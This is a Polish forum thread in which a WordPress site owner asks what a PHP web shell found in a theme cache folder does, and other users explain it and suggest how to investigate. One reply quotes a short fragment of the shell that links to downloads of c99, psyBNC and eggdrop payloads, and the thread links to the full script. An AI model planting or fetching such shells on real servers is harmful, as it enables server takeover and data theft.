złośliwy skrypt

[berix 10]

Pisze tak z ciekawości do czego służył ten złośliwy skrypt php, i co on powodował

 

http://pastebin.com/ryr35SPH

 

ktoś mi go wgrał (nie wiadomo jak) znajdował się on w na stronie opartej na wordpress w folderze /{theme}/cache/

 

szukając w google

/******************************************/

/* [ * ] RELOAD-X SHELL [ * ] */

/* Edited by bogel */

/* PONTIANAK CYBER CREW */

/******************************************/

 

lub

 

PHPShell by CempLe

 

nic nie zjaduje

[SanKen 63]

PHP/Small.NAL koń trojański to mi ESET wykazał po wejściu na stronę http://pastebin.com/ryr35SPH

 

I najlepsze że na stronie też coś masz bo zrywa mi połączenie

JS/Iframe.DU koń trojański

 

- mowa o twojej stronie z sygnaturki... sprawdź całość...

Edytowano Maj 28, 2012 przez SanKen (zobacz historię edycji)

[Bartosz Stępień 75]

Ciekawy skrypt, z tego co mniej więcej przejrzałem to ktoś miał dostęp do twoich wszystkich plików, podmieniana miała być strona główna. Nie jestem pewien co robi ten kod:

<a href="#" onclick="set_arg('<?php echo $sh_mainurl."c99.txt"; ?>','b0gel.php')">[sHELL]</a>
   <a href="#" onclick="set_arg('<?php echo $sh_mainurl."psy.tar.gz"; ?>','psy.tar.gz')">[psyBNC]</a>
   <a href="#" onclick="set_arg('<?php echo $sh_mainurl."eggdrop.tar.gz"; ?>','eggdrop.tar.gz')">

Ale lepiej posprawdzaj wszystkie pliki, czy nie masz któregoś zedytowanego.

 

P.S mi dopiero przy próbie pobrania pliku wyskoczyło:

Strona zablokowana!

Program G Data InternetSecurity 2012 zablokował dostęp do strony.

Strona zawiera niebezpieczny kod: Backdoor.PHP.ALI (Skaner A), PHP:Shell-BH [Trj] (Skaner B).

[Tajgeer 19]

http://www.aldeid.com/wiki/C99Shell

http://mikeybeck.com/hacking/

 

Ktoś sobie zostawił furtkę

[berix 10]

ja wiem że antyvirus wykrywa ale interesuje mnie jak to wrzucił i co on robi

[xorg 693]

Jest to shell, taki sam jak np. niegdyś popularny r57 - co nim można zrobić to już zależy od konfiguracji serwera.

[Hekko.pl 239]

Jeśli w wordpressie, najczęściej przez dziury w pluginach lub tematach.

[mentor92 0]

Shell , jest to skrypt php , często wrzucany na serwer poprzez RFI . Przewaznie daje on mozliwość edycji , pobierania plików z ftp , wykradanie bazy danych danego serwisu. Tak w skrócie.

[regdos 1848]

Sprawdzasz jaką ma datę modyfikacji ten plik a następnie szukasz w logach w okolicach tej daty dziwnych wywołań (jakiś POST-ów lub GET-ów z dziwnymi parametrami), których normalnie nie powinno być.

[kcp 41]

W skrócie: Jest to php-shell. Wgrywają go atakujący twoją witrynę do uzyskania accessu do ftp, bazy danych, wykorzystania serwera do łamania hashy. W sumie jest wiele zastosowań, wszystko zależy od shella.